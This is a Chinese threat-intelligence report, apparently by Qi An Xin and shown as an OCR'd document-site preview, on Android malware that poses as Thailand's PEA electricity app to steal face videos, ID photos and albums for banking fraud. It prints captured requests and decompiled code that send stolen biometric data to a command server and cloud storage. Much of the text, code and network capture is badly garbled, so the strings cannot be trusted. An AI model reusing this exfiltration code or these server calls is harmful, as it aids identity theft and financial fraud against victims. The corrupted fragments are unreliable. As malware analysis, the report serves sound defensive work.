《AI人脸识别诈骗敲响金融安全警钟_市场营销策划_2024年市场报告-3月第4周_【2024研报】重点.docx》由会员分享，可在线阅读，更多相关《AI人脸识别诈骗敲响金融安全警钟_市场营销策划_2024年市场报告-3月第4周_【2024研报】重点.docx（35页珍藏版）》请在三一办公上搜索。
1、奇安信https金相狐黑产团伙:Al人脸识别诈骗敲响金融安全警钟THEREPORT发布机构：奇安伯,毒峭应中心奇安德胁情报中心Mv奇安信一玄摘要令人脸识别技术作为身份验证的主要手段，被广泛应用于账户风控、金融交易等场景。金相狐组织制作投递伪装成泰国省电力局(PEA)应用的仿冒软件。令仿冒软件获得授权后，开始窃取面部特征数据和其他信息。为了更好的实施金融诈骗，仿冒软件会下载并诱导受害者安装金融监控软件。金融监控软件执行主控服务器下发的远程指令，监控受害用户金融软件使用情况，进行钓鱼攻击和运行锁定。令最后，金相狐组织通过受害者设备信息和大量的面部特征数据，通过Al换脸或合成等技术即有可能实现异地登
2、录受害用户金融账户，实施转移财产等操作。此次攻击活动对金融行业安全具有里程碑式的警示意义。关键词：金相狐组织、人脸识别、面部生物特征数据、泰国省电力局(PEA)、身份证件信息、无障碍服务目录第一章序1第二章攻击链图2第三章仿冒软件分析4一、权限申请4二、人脸识别材料窃取6三、账户钓鱼13四、其他信息窃取16五、APl接口功能20第四章金融监控软件分析23一、APl接口功能23二、关键功能分析23第五章总结29IOCs30附录1奇安信病毒响应中心30附录2奇安信病毒响应中心移动安全团队30加出奇安倍一第一章序在当今数字化社会，人脸识别技术与金融领域的密切结合，为我们的生活带来了巨大便利，然而，新
3、的机遇往往带来新的挑战。人脸识别技术作为身份验证的主要手段，被广泛应用于账户风控、金融交易等场景。在2023年3月，泰国央行发布指示，要求银行在进行以下交易时采用面部生物特征验证来确认身份：单笔交易金额达到50,000泰铢（约合1,430美元）或以上；每日转账超过200,000泰铢；或者将移动设备上的信用转账限额提高到每次交易50,000泰铢以上。这一指示意味着银行在这些情况下不再使用一次性密码（OTP）,而是采用面部生物特征验证来加强身份确认的安全性。此次发现的攻击活动就是黑产团伙针对这一政策定制的新的攻击策略，攻击组织将诱饵恶意软件伪装成泰国省电力局（PEA）应用进行投递，至于为何选此软件
4、，通过查询可知泰国省电力局（PEA）应用在GoogIePIayStOre的下载量就达500万+次，而电网交易又是用户生活必须事项。此前版本也常常伪装成泰国政府、金融部门和公共事业公司的相关应用程序，由此可见，这是他们惯用的伪装手段。不同的是攻击者在诱导受害用户安装此类仿冒软件后，还会在使用过程中诱导受害用户安装一个宣称为客服软件的金融监控软件，继而实施更加深入的诈骗活动。经过深入分析后，我们将这个幕后组织命名为“金相狐（GOIdenPhySiognOmyFoX）组织。这个名字不仅仅是一个标签，而是一个对该组织行为和特点的生动描述：“金”代表了他们攫取金钱的目的，“相”则暗示了他们利用人脸识别技
5、术的手段，而狐”则象征了他们狡猾和欺骗的本质。这个名字既突出了他们的行为特点，又让我们更深入地了解到这个组织的本质。接下来，让我们深入探讨“金相狐”组织的运作方式和对用户的威肋第二章攻击链图此次攻击活动具有一定的复杂度，从目前我们掌握的情报数据进行分析，整个攻击过程可简要描述如下： Step1：金相狐组织制作投递伪装成泰国省电力局（PEA）应用的仿冒软件。 Step2：受害用户安装仿冒软件后，被诱导授予仿冒软件相关权限。 Step3：仿冒软件获得授权后，开始窃取面部特征数据和其他信息。 Step4：仿冒软件将窃取的受害者信息上传到云服务器和主控服务器。 Step5：同时，仿冒软件还会诱导用户安
6、装金融监控软件，并使用意图开启此软件。 Step6：金融监控软件也会窃取诸如应用安装列表、设备信息和短信等信息到主控服务器。 Step7：同时，金融监控软件会接收主控服务器下发的远控指令，在用户使用金融软件时，进行用户金融软件账户密码窃取和锁定金融软件，禁止用户使用的行为，并将相关操作日志上传到主控服务器。 Step8：最后，金相狐组织通过受害者设备信息和大量的面部特征数据，通过Al换脸或合成等技术即有可能实现异地登录受害用户金融账户，实施转移财产等操作。他令下发上传Al校*/合成等伪装用户设备信息权限授予情况锁定金融软件应用安装列使用.操作日志/,第三章仿冒软件分析在高级威胁攻击中，常见的手
7、法是将诱饵软件伪装成目标人群所需或使用量大的软件，例如政府软件和生活缴费软件。对此仿冒软件进行分析时，我们发现它不仅利用社会工程学手段诱导受害者，还在服务器端对受害者的真实性进行校验，可能通过目标用户电话匹配或官方软件泄露信息验证等手段，在提高目标精准度的同时还会给安全分析人员增加分析成本。尽管仿冒软件在投递和信息窃取过程中主要使用社工手段，并没有使用漏洞攻击等高破坏性技术手段，看似并不具备什么高级技术能力。然而，在样本分析中，我们发现攻击者采用了多种技术手段进行自我保护和安全分析对抗，例如应用加固、运行环境检测、清单文件混淆和源码字符串加密等。这次攻击活动中，受害者的面部生物特征数据被上传到
8、云存储，同时将相应材料的云UR1.上传到主控服务器，而此次攻击中还会尝试将面部生物特征数据直接上传到主控服务器。在没有目标账户或真实账户等测试条件下，我们依托自身技术能力对伪装软件的窃取受害者信息的运行过程和主要功能进行了多维度的分析。一、权限申请随着移动系统对于用户保护的安全升级，应用程序在获取用户信息的时候，大多需要明确申请权限，获得用户授权后才能使用相应功能。而常见的恶意软件往往会申请大量的应用权限，此次攻击使用的仿冒软件申请权限多达29项，这些权限包含无障碍服务、相机、短信等高危权限。在众多权限中，有一个比较特殊的权限一无障碍服务权限。无障碍服务是一套可以模拟操作的系统级别的API,用
9、户同意之后就可以模拟操作，来控制用户的手机。恶意软件常常通过诱导的方式来获得此权限，下面就该仿冒软件申请此权限做简要说明。(一)无障碍服务权限申请在正确设置安全密码后，恶意应用会启动系统设置页面申请辅助功能服务，通过社工伪装成安全服务来诱导受害者激活。随后会上传恶意软件被授予权限状态。申请无障碍服务权限页面如下:InIldDfIfURgUIklihuUaoMTstzkwoMMWgn5XMArEPEASmadPjsSlDUisd1d*u*)rHuRTiiiiJaDAHu3grjrurH114iulrfPEASmartPlus开自务0uApplicationvo*ml*mhuj)MdInUnNlm
10、9noiAUhmnKuoA118n*5i蛇u3iMaenuDmMu福UqrwwTwijiiofiAmuhqrusWfummJoJun115PEASmartMusOWuU8IMaMetlU)1d1.hinWlQlM*15l0Rld3U上传权限状态网络数据如下:ContentsHosthttpandroid.ncxk50yzMethodPOSTUR1.apiappapplyauthParamsStatuscode2001.ength178MIMEtypetextTitleCommenthttpandrod.ncxk50yzPOSTapiappapplyauth200178texthttpy/and
11、foed.ncxk5ayzPOST*pipp*pplyauth200178tthttp7/androW.ncxk5jcyzPOSTapiappapp1.12 Content-Type:app1ction/x-vv-tora-ur!encoded3 Content-1.ength:3834Host:android.nckS.y三-AcceptCncod1ng:gzprdeflateEUser-Agenc:okctp4.2.OConnection:close89OagNQqboXNyPkTO2bb0HvnNQ2MJ1.2HvaMuuGV2FlkhIb4RY11ZO7JP38olcF310cloTX
12、FF6TJvqnF7QJmU10CF2BPPlfcFJGcWtB三%2FtaRRycl28XP8t9E%2BM091U9ZYlps9Xl2B2BKVp51.%2Be20g7V8Rtyl8g2EXEqga03P21Y112B02F1.OSeme记FYYPg1.yinADC2BN3BaI1.jJQZBHu3dreTol三ZlYTBJ07S0VTHS04vlRuu1.HrsgbVxuP5bPn1.mbXnnK11dh3lvcRf8%2BKr99iv三UySXbekHqVjSDPQCKfB7HD2BR2PTg3D%3D受害者开启无障碍功能服务后，显示应用程序激活，等待官方审核，页面如下:傍晚6:01P
13、PSMARTS司工唱nu!iJv高响心店电finn*wfn*s例)ejwuQ*ru6iMihd二、人脸识别材料窃取金相狐组织的核心是对金融软件的攻击，序中也提到泰国新政的发布，所以此仿冒软件的核心功能则是窃取受害者的人脸识别数据相关材料，继而通过Al相关技术，实现最终的攻击目标。(一)窃取身份证件信息仿冒软件会通过社工手段诱导受害用户上传自己的身份证件信息，而身份证件信息不仅可以用于金融账户和交易的使用环节，还可能用于提取受害者面部特征数据，所以我们姑旦将窃取身份证件信息的行为归为面部特征数据窃取。上传身份证件照片页面如下:傍建6:00PPCqnniJiJtMa倒融rhuJ伪RsuWiflhi
14、huVMTU向合n肃。11ma口而UMtJenIJaKh由hs的VuFfH看EJ5i11Ma例弟UMalj*51J5WWUSVAMa口上传身份证件信息网络数据如下:ResponsePrettyRaWHexRenClef一HTTP1.1200o:ConnQCSon:close3Contenc-1.ength:O4Content-HdS:OdvoDacrOvhBIbtakBVAdyg-5Da“：Vecir28Feb202410:01:39GXTEtAg:wDADSA8OD90C21053CDCA43ISOIDCAmServer:-OsM-Hah-Crctcma:713482052195909X-O
15、ss-Requeat-Xd:5DF04338SDSB3325B4AB210X-Oee-Seirver-Tuie:79RequestPrettyRaWHex三.PUTbtzbkjbucket.HBPHHHHBHHHHBI.comf20240228/I79ii4eons.3pghtpi.i2 Authorization:OSS1.TI5tK4MKxHUZHatE8HlZx8gXf4dPetSrRlVIS3ZvbP2Eo三3 U三er-9ent:HBPHHHHkndroid/2.9.1341.inux/Android9KI2O6;PKQl.1901l.1)hk3bucxtc.MSDace:Wed,2
16、8Feb2Q210:01:00GMTfContent-Type:IJMge/jpeg-Content-1.ength:5142463二Accept-EncodiiKi:gzip#deflate9Connection:close10-y0yaZpEtMXaOl-iH!aage-user9PKOl.190118.001Vll.0.5.0.PCCWXMrelese-kye：024:02:28i8：oar5HHXioBi,omhc4pca0ax3120M6三0tM0.3tJJDto-e00220OlOOdw9enaor-cype:wrearrwrror:false)38162538U2538162Si
17、2O24:02:2818:00:562024:02:28X8：00：5yypdOdUtR980100neomchS,*-SlSCIINETVORK2O：4:02:2BXJ1.IMPHHyOylD-$M/f7lrO1444,9-82ul4sAUlfKEtO6C-0UQ4hAAtfftO-uUVIAQaqwZOBQlA03RAbrRH，,I)5E789:CDElPGHlJSTuVUXYZUdeNgigtuvyxy=OaiIZmmDaaDmcMY：SeftUlAUJtttOW0AAaAr6o-ouuyO7IQCOJG8-tOODOU(ZPi-UO:KC-ftGaeus&6xylmsoo;iDM0ns
18、.clFDc0D40m6*eJaSMteIOxyhOSV1O3QiDSKJCOa-CCYaCit4DAtatoHu3J-KWDOYO*0.-g三-oZEreae6E.1IONkDlg3仿冒软件将受害者身份证件信息上传到云存储服务器后，会将正反面身份证件信息的云UR1.上传到主控服务器，方便管理和直接获取。上传云UR1.到主控服务器的源码如下:PVblKstaticvoidUPlMdldcardccntextCOateXt,btri3ect.putCdidw,utlls.etAdW(cofYtext);jSOMeject.M(i*rd_*11n-is);jSOUOOjCt.Mt(aIflcard
19、bikfsi);SCFO力,Eil:-fo11odySllerenew三11e:.：aWer()j，弋92utilf.e*r7ptyP*Mey(5i.to)S(M5trn(jscHjeMp2appuplMditfcrtfa).p0st(q*r)orvMyS8vll0er.bvlld().bdltf().enQeve(BeMSIIbXkC(publicvo&deeFilrt(c4i;】,:cc.：t4fRtsptrtspofts)UlrM:二j,：naR4DNProq311.K9%2Ykl2ebjaSH0prPWvnlnV三ptgNF0f2O三pvPsRS3lV1.Kuber3eCDfYzPZn
20、三B%ZBdyTlrClvlOvEDZ(lXKVtE%3BNT25GTVKtrpPyXaSh9pZGv4D4102FRnuTyaAiVEvz57a0DaycCTnCuSPrF3EcP6RlbVDM22fQZ8Mqi005veKp1.KCfVpvCT1.H!UqnbZdlS%2BVa2F2BtcEyP2BobE2O3a01.d77BvDVaecpTDVYB2wKlr4三foByNVuQYHsvel1.EjSS33n2EM91SBSC%2BnrkSfqvqPdsc9VRzlSdn9GsmjnJA%3D%3D应用本地存储的身份证件照片在外存储的应用数据目录中，测试示例如下:P-Pictures-IM
21、G_20240313_1046063163154545363179729JPgIMG_20240313_1046122244150536892046717.jpgcom.xviljmqtq.rfzxewgsfilesPictures（二）窃取人脸识别数据恶意软件的另一主要功能是窃取受害者用于人脸检测识别的面部数据，它们使用GoogleM1.Kit进行人脸检测。当发出“面部”命令时，将进行面部扫描，并记录并上传会话。录制面部视频时，会给出一些例如眨眼、微笑、向左、向右、向下、点头、向上和张嘴等指令，使用这种方法通常用于创建全面的面部生物特征档案。并将这些视频和照片上传到云存储。面部识别检测页面如
22、下：Vftl奇安信PEASmartPlusMnnnwi知nPEASmartPlusnqruwGrtnPEA艇PEA上传面部识别视频到云存储的网络数据如卜丁EbuckcUHVMaHaBiHakow202822Kl709l1。湖095HTTF/1.Ilr1QVNC3MFgTeeU-eMI*WPQ1.1W1X1)HMtIcfftoMHlflIHIflMHMonDto:WmI2tFb2OM10008GMTCH9mTyp*ieo4C*O*Pkf-4*eOfrkP42QM3G*c4iceoco*ipocCteK03CCOl1CiDZ.CAGCCtTUtwAz0K)*GjeCo%Si1.CVCZ,0lMOi
23、fcflXSCQ.CCrMAydU6,VV*MTUUhQCA.CIOjfMCCCC*XAA9eTQiPioMS9KD4CulCC.0yerW2AP*1Uv(MM8MtXC6CCndWA6C吨MCdoAd*CC2QtSOM.CCCt.3xdD6ct*CeX)oOCh7iO00PP5ZM60.UercoGi*7reW4G0CMJ6-yXM)WaDClQO03-CeoOODil心皿uaHaS100bWOcTOiCWWsK7CCCMDiMWHedt*A4eUMtTEHeRSW11Pp.l22P*JlaAOmVM.力心20241匈8GMYEU0*7515CWWMC9O452C?Wn?754rSmraMM
24、HBiXfMhCrC64aalM4467MnMM2XMreffld05DW9连E44RJBM7MXoMserwrMm:1173Comcticect();3S0h3ecte.pvt(didutils.feUdl(co11text);)JORjKt.put(-vidco_MrlS);fCneodyiaulieere,newvMcccjiler();一”，.Vtib.tncryptB)bHcryOS0h.t0J50*Strle(jsMQejtcW.tetfytes();foflMkSWer.W0(r11a,si);o*HttKliertt.newUll(new：；：.kr().url(utils.v
25、etwiA1.(cor.enQiee(new：；：.string();PUMKUticvoid5vtvideo)oc(-.coctextf1.i,:M,2!(lf(a*.e9als(utlls.getAdid(cotextt)(Eum;n*-!et();jSOHjete.pvt(-d,utiB.retAdi(wtext);jscHject.put(.rrs);5SO3ecte.pt(evmt,si);j5CHjlBullernew-5+ur)；一：，S3liB.tocrypt8)*bHcy(JSCR.toJSO*Striec(jSwoej.tetytes();.ost(3e5t：.)fo11o
26、ySilder.uiiW().eulM().enqee(newC*llwc(pablkcVO14or*llur(ciUca119xx，-，UvxctpClOfW)(PblicvoidOftUS00CVSe：j：:call9-s0oneresponse*)throwsIotxceptlonresocsee.or()strir();ResponsePrettyRawHexRenderHTTP/1.1：00OK2Connection:closeJContent-Type:text/html;chacaet-utf-QID8:Ved,：8Feb202410:19:：5GHT5Secvec:nqln.V
27、ary:Accept-EncodingConcent-1.ength：O上传视频的云UR1.到主控服务器，网络数据如下:RequestPrettyRaWHex目g三POSThtcprandroll.nc)r5.yzApapp9AvevdeoHTTP/1.12 Content-Type:app1Icaclon-vvv-toco-UElencoded3 Content-1.ength:373sHosc:andrlUxwprx3Vz3S2BOY2FSXk2SfePbMqgSg7VFouVOrVOmBvqCV：KPp1.bakKmlSoV90KBFDtrZ9J*bXC8CXtw3hcrh5VN%2Bx
28、leuF%2FyyITyhOyoe1.lccyhAZa7p%2BbRlUrP_A4YYOT133Bin591.YeXM5y67tAKoVOnnV=gNHyC1.FP、1BMC7AnXT、:PgA1.VB16而VbAy1.rDIo【K1.mqKUbyOfHVl2B7yIodRV0XnVqCXU5tPp05FnCadnYnSb1.3ZlFQ3D%3D尝试直接将视频数据上传到主控服务器，网络数据如下:OverwwCofltertsSUmmMyChNoePOSTHtpc/androd.ncik5.kyz/PpAPod*deoH111,1Cortnt-Typ:muft)pfVorm(lM:boundfy
29、a5b89ci2898434lb*56b25dddf2M82Co*em-ler9the9707M10Hoandroid.nokSyzAccept-Crxoding:gzpU卬Ag11tOkhttP42QCvworw-SbeWBcl-2898-4J4f-b56-b5dd2fm2Ccreem-Ditpositiorcion-dto:ntmefilee：RcemeweVlD1060CoD(WW8DOy%GmCGUMg6COOM5JDCOB叩OtmUDtcOod学NOoCOtI2Qag9c7GWiiiE99KU4H0u1N(0eUyyCWtoOnWjQD6RDddAd*(H0D?C$0MikDajQg
30、gdgt*08JD6ODh70DT)DABgUdaR6c.uBa11r.octccr=7niWAfGOahOy)U!PIiOySWCNk.eADOlQa0COCOUnK(uaUOCaOIflCmbSie6lhAe066W0C0a0C网K*口*0o0CV*JC*lYiOFWrRuCYte(M)V6(,6DtG05eOOSvs-OiCODH0MJ/U*(Uc-vaSvCib6l11.tCpD*8cUT4nuCHVncOQC*DcUWa0DjJ60CC00:VDWHoMwOOV印MWUoCUr00乂bUfl尹B-C(kEED)93jD0rq3DC0fCitEC4J1.-UMve0X*ncCOC0c0
31、x6-UQ6aa(ye4DDPCDUIKnD.QAADlocUa80aCFE4A4ACP704uOlxrYOyfC(I4b3(ttfOiCXZIGD(aMm6CVoX64一HeadersTe三tHexMuhipaHRAWHTTP1.1200(XCche*coetro:nooche.ro-rtor%9m:nodtX-IfAme-OptxmG:DENYCocCecit-Type:textHmchorecrcci4VhtmlAtJeBurpSuiteProfeoa*Itpe三textc5s,bodybckgrcs*d:*dededrfoct-f111y:AH/colon404042;-wb9t-or
32、-smoothing:*Wiaed:)*co11uinf(pddrg:O15pmargin:10pMHo：bcfcground*cdor:WWf.(wordwrap:brMkwor4;)aMc,*sedccior：eO622tet*decoraon:none：)e:hcver.aactive(cdor4O4O42text-decor6on:Undedine：)hlloot-we：1ecom.xviIjmqtq.rfzewgsfilesMoviesVIDJ080.mp4（三）窃取相册用于人脸识别或Al人脸伪造的关键信息中，除了会采集人脸识别的视频外，还会窃取受害者的相册，或在其中获取更多的受害者面部特征数据。上传相册到云存储的网络数据如下:PUT9/1710844525546.7$3&jp9H11P1.1Authonzation:OSS1.TAl5tK4K4KuH1.rZHatg8H1ZQ81.r0AfgZjgEBGjVY(VX4=U
